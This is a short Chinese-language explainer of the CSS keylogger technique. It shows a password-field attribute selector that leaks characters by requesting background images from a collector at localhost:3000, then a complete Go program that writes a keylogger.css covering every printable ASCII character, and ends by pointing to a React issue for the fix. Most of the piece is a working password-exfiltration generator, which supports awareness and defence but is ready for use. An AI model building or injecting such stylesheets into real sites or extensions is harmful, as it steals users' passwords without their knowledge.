CSS 键盘记录器
CSS Keylogger 利用 CSS 属性选择器,可以在加载背景图像的前提下从外部服务器请求资源。
这种攻击非常简单。 例如,下面的 css 将选择类型等于 password 的所有输入的值和以。然后它会尝试加载一个来自 http://localhost:3000/a 的图片。
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a");}
使用简单的脚本可以创建一个 css 文件,该文件将为每个 ASCII 字符发送自定义请求
package main
import ( "fmt" "log" "net/url" "os")
func main() { fmt.Println("Building keylogger.css")
output, err := os.Create("./css-keylogger-extension/keylogger.css") if err != nil { log.Fatal("Cannot create output", err) } defer output.Close() for c := 32; c < 128; c++ { value := fmt.Sprintf("%c", c) urlValue := url.QueryEscape(value)
if value == `"` { value = `\"` } else if value == `}` { value = `\\}` } else if value == `\` { value = `\\` } fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue) fmt.Fprintf(output, "\n") } fmt.Println("Complete.")}
阅读 react issue 来查看 React 的解决方案。